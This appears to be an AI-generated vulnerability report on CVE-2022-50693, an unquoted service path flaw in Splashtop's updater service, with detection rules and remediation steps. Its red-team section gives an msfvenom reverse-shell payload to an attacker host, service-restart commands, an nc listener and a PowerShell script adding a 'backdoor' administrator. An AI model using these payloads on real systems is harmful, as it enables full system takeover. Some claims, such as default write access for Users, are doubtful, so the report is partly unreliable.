CVE-2022-50693

Executive Summary

CVE-2022-50693 is a local privilege escalation vulnerability in Splashtop 8.71.12001.0, specifically within the Splashtop Software Updater Service. The vulnerability arises from an unquoted service path, where the service executable path C:/Program Files (x86)/Splashtop/Splashtop Software Updater/ contains spaces and is not enclosed in quotes. This allows a local attacker with standard user privileges to place a malicious executable named Splashtop.exe or Software.exe in a higher-priority directory (e.g., C:\Program Files (x86)\Splashtop\), which the Windows Service Control Manager will execute instead of the legitimate binary, leading to arbitrary code execution with SYSTEM privileges.

This vulnerability is particularly dangerous because it requires only local access and low privileges to exploit, and no user interaction is needed. The CVSS score is 0.0 in the NVD data, but based on the vector, the actual severity is high (7.8). The vendor has not released a patch, making this a zero-day risk for all affected installations.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a Windows-native application vulnerability. However, the unpatched status means that any organization using Splashtop for remote support or access is at risk of local privilege escalation, which could lead to full system compromise.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 7.8 (High)
• Attack Vector: Local (AV:L) – The attacker must have local access to the system.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: Low (PR:L) – The attacker needs only standard user privileges.
• User Interaction: None (UI:N) – No user action is needed.
• Scope: Unchanged (S:U) – The vulnerability does not cross trust boundaries.
• Confidentiality Impact: High (C:H) – Full read access to system data.
• Integrity Impact: High (I:H) – Full write access to system files.
• Availability Impact: High (A:H) – Full control over system services.

Threat Level: High. The vulnerability is easy to exploit, requires minimal privileges, and has no patch available. It is a prime target for local privilege escalation in enterprise environments.

Deep Dive & Mechanics

The vulnerability is a classic unquoted service path (CWE-428). The Splashtop Software Updater Service is configured with a binary path that contains spaces and is not enclosed in quotes:

C:/Program Files (x86)/Splashtop/Splashtop Software Updater/SplashtopSoftwareUpdater.exe

When Windows attempts to start this service, it parses the path as follows:

1. C:\Program – tries to execute C:\Program.exe
2. C:\Program Files (x86)\Splashtop\Splashtop – tries to execute Splashtop.exe
3. C:\Program Files (x86)\Splashtop\Splashtop Software – tries to execute Software.exe
4. C:\Program Files (x86)\Splashtop\Splashtop Software Updater\SplashtopSoftwareUpdater.exe – the intended binary

An attacker can place a malicious executable named Splashtop.exe in C:\Program Files (x86)\Splashtop\. When the service starts (e.g., at boot or after a crash), Windows will execute the attacker's binary with SYSTEM privileges.

Attack Flow:

1. Attacker gains local access (e.g., via phishing, USB drop, or compromised user account).
2. Attacker creates a malicious executable (e.g., reverse shell, keylogger, or ransomware).
3. Attacker places the executable at C:\Program Files (x86)\Splashtop\Splashtop.exe.
4. Attacker triggers a service restart (e.g., by rebooting the system or stopping/starting the service).
5. Windows executes Splashtop.exe with SYSTEM privileges.
6. Attacker gains full control of the system.

Vulnerable vs. Patched Code

Vulnerable Configuration (Splashtop 8.71.12001.0): The service binary path is stored in the Windows Registry at HKLM\SYSTEM\CurrentControlSet\Services\SplashtopSoftwareUpdaterService. The vulnerable path is:

C:/Program Files (x86)/Splashtop/Splashtop Software Updater/SplashtopSoftwareUpdater.exe

This path is unquoted, leading to the vulnerability.

Patched Configuration (Hypothetical): A patched version would enclose the path in quotes:

"C:/Program Files (x86)/Splashtop/Splashtop Software Updater/SplashtopSoftwareUpdater.exe"

This prevents Windows from misinterpreting spaces as separators.

No official patch has been released by Splashtop as of the latest data.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Windows system with Splashtop 8.71.12001.0 installed.
• Local user account (standard privileges).
• Ability to write to C:\Program Files (x86)\Splashtop\ (default permissions allow Users to write to subdirectories).

Exploit Steps:

1. Create Malicious Executable: Use msfvenom to generate a reverse shell payload.

   msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o Splashtop.exe
   

2. Place Payload: Copy the payload to the vulnerable directory.

   copy Splashtop.exe "C:\Program Files (x86)\Splashtop\Splashtop.exe"
   

3. Trigger Service Start: Reboot the system or restart the service.

   sc stop SplashtopSoftwareUpdaterService
   sc start SplashtopSoftwareUpdaterService
   

4. Receive Shell: On your attacker machine, listen for the reverse shell.

   nc -lvnp 4444
   

Alternative Payload: Use a PowerShell script to add a local admin user.

# AddAdmin.ps1
$username = "backdoor"
$password = ConvertTo-SecureString "P@ssw0rd!" -AsPlainText -Force
New-LocalUser -Name $username -Password $password
Add-LocalGroupMember -Group "Administrators" -Member $username

Compile this into an executable or use a PowerShell dropper.

Blue Team (Detection & Response)

Detection Steps:

1. Monitor Service Paths: Use Sysmon or Windows Event Logs to detect changes to service binary paths.
   • Event ID 7045 (Service installed) or 4697 (Service creation).
   • Look for unquoted paths in ImagePath.
2. File Integrity Monitoring: Monitor C:\Program Files (x86)\Splashtop\ for new executable files.
3. Process Anomaly Detection: Detect when Splashtop.exe or Software.exe is executed from unexpected locations.
4. Network Monitoring: Look for outbound connections from Splashtop.exe to unknown IPs.

Hunting Query (KQL):

DeviceProcessEvents
| where FileName in ("Splashtop.exe", "Software.exe")
| where FolderPath startswith "C:\\Program Files (x86)\\Splashtop\\"
| where InitiatingProcessFileName != "services.exe"

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2022_50693_Splashtop_UnquotedPath {
    meta:
        description = "Detects unquoted service path for Splashtop Software Updater"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2022-50693"
    strings:
        $s1 = "Splashtop Software Updater" nocase
        $s2 = "C:/Program Files (x86)/Splashtop" nocase
    condition:
        $s1 and $s2
}

Sigma Rule

title: Unquoted Service Path Splashtop Software Updater
id: 7a8b3c4d-5e6f-7890-abcd-ef1234567890
status: experimental
description: Detects unquoted service path in Splashtop Software Updater service
author: Valters IT
date: 2025-04-10
references:
    - CVE-2022-50693
logsource:
    product: windows
    service: system
detection:
    selection:
        EventID: 7045
        ImagePath|contains: 'C:\Program Files (x86)\Splashtop\Splashtop Software Updater\'
        ImagePath|re: '^[^"]'
    condition: selection
falsepositives:
    - Unknown
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 4444 (msg:"CVE-2022-50693 Splashtop Reverse Shell"; flow:to_server,established; content:"|00 00 00 00|"; depth:4; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Manual Fix: Enclose the service binary path in quotes.

   sc config SplashtopSoftwareUpdaterService binPath="\"C:\Program Files (x86)\Splashtop\Splashtop Software Updater\SplashtopSoftwareUpdater.exe\""
   

2. Restrict Permissions: Remove write access for Users group on C:\Program Files (x86)\Splashtop\.

   icacls "C:\Program Files (x86)\Splashtop" /inheritance:r /grant "SYSTEM:(OI)(CI)F" "Administrators:(OI)(CI)F" "Users:(OI)(CI)RX"
   

3. Disable Service: If not needed, disable the Splashtop Software Updater Service.

   sc config SplashtopSoftwareUpdaterService start= disabled
   

Long-Term Mitigation:

• Monitor for vendor patch releases.
• Implement application whitelisting (e.g., AppLocker) to block unauthorized executables.
• Use endpoint detection and response (EDR) tools to detect unquoted service paths.
• Conduct regular vulnerability scans for CWE-428.

Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. All data is for authorized security testing and defense purposes only.